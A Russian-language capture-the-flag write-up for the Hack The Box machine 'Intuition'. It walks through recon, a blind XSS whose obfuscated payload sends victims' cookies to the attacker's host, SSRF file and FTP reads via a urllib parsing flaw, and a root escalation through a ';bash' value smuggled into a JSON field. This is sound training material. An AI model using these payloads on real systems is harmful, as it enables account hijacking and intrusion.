Авторы: FaLLenSkiLL Malwarya

Ссылка на тачку HTB:

https://app.hackthebox.com/machines/Intuition

Разведка

Сканируем порты nmap-ом:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 13:20 +05
Nmap scan report for 10.10.11.15
Host is up (0.090s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Сразу для удобства добавляем запись в hosts

echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts

На домене comprezzor.htb видим возможность загружать и сжимать файлы

Сжатие происходит по алгоритму “LZMA”

На данный алгоритм есть CVE, будем иметь в виду

Но после нескольких безуспешных попыток проэксплуатировать эту уязвимость, было принято решения поискать другие вектора атаки

Поищем существующие поддомены:

gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --random-agent -t 600

Найденные поддомены добавляем в /etc/hosts

echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts

На поддомене auth.comprezzor.htb нас встречает форма авторизации

User flag

Зарегистрировав новую учетную запись, войдем под своим пользователем. Получаем возможность отправлять репорты

В данной форме находим Blind XSS, позволяющую получить куки пользователя. Используем следующий payload:

<img src=x onerror='eval(atob("ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC4zNjo3Nzc3Lz9jb29raWU9Jytkb2N1bWVudC5jb29raWUp"));' />

Таким образом на прослушиватель прилетят куки пользователя:

Вместо nc также можно использовать и python server:

Используем куки для получения сессии

Видим dashboard, где репорты имеют определенные приоритеты. Чтобы захватить куки админа, наш репорт с payload-ом должен иметь 1 приоритет.

Выставляем повышенный приоритет своему репорту

Отправляем payload и перехватываем куки админа

Также, как и с webdev используем его сессию для получения доступа в функционалу создания PDF репортов

Через уязвимую форму URL отправим запрос на свой же IP

В возвращенном пакете данных видим, что используется Python-urllib версии 3.11. При поиске связанных уязвимостей было обнаружено, что существует CVE-2023-24329. Принцип таков: когда URL начинается с пустого символа, у urllib.pу parse возникают проблемы с синтаксическим анализом (влияющие на разрешение имени хоста и схемы). Любой метод фильтрации по домену или протоколу, реализованный с использованием списка блокировок, можно обойти, указав URL-адрес, начинающийся с пустого символа. Успешное использование этой уязвимости может привести к произвольному чтению файлов, выполнению команд или SSRF.

Таким образом мы можем читать любые файлы

Прочитаем /proc/self/cmdline для просмотра текущего процесса

Теперь можем посмотреть на исходный код приложения, где виден flask secret key

Нужно обратить внимание на то, что этот скрипт также импортирует и другие модули, а именно index, report, auth и dashboard в разделе bludeprints. Сразу можно предположить, что исходный код является скриптом .py. Попробуем прочитать их.

file:///app/code/blueprints/index/index.py

file:///app/code/blueprints/report/report.py

file:///app/code/blueprints/auth/auth.py

file:///app/code/blueprints/dashboard/dashboard.py

Находим пароль админа

Подключаемся к внутреннему ftp через уязвимость SSRF

ftp://ftp_admin:[email protected]

Читаем файлы, которые находятся на внутреннем ftp

Получаем зашифрованный ssh key

ftp://ftp_admin:[email protected]/private-8297.key

Рядом с приватным ключом была записка, содержащая пароль для расшифровки

ftp://ftp_admin:[email protected]/welcome_note.txt

Расшифровываем приватный ключ и подключаемся по ssh

Получаем user flag

Privilege escalation

Я начал с просмотра открытых портов, но к сожалению там не оказалось ничего интересного

В отличии от директории /var/www/app, где оказалась база данных пользователей

Просматриваем БДшку

Достаем хеши и с сбрученным паролем подключаемся по ftp

После чего достаем от туда все файлы

Просматривая полученный код, я обнаружил, что файл в основном выполняет команды ansible-playbook.

Основная программная логическая функция обрабатывает параметры командной строки и определяет режим работы. Основными операционными запросами являются: список, запуск и установка running. Playbook получит имя файла playbook, создаст командную строку для использования ansible-playbook и использует эту функцию для выполнения команды. Системная функция Listing Playbooks просканирует каталог PLAYBOOK_LOCATION. Это нам поможем в дальнейшем, при повышении до root.

С директории с сурикатой находим креды от пользователя Lopez

Root flag

Lopez может выполнять runner2 из под sudo, и он также является членом группы пользователей sys-adm

Мы можем создать .tar.gz и изменить его имя для выполнения любой команды. Следует отметить, что /usr/bin/ansible-galaxy проверит, является ли это допустимым сжатым файлом, поэтому для его создания необходимо использовать шаблон.

https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz 

Создаем нужный json файл

{
        "run":{
                "action":"install",
                "role_file":"admin.tar.gz;bash"
        },
        "auth_code":"UHI75GHINKOP"
}

Повышаемся до root

Tags:

#hackthebox#hard#writeup#season5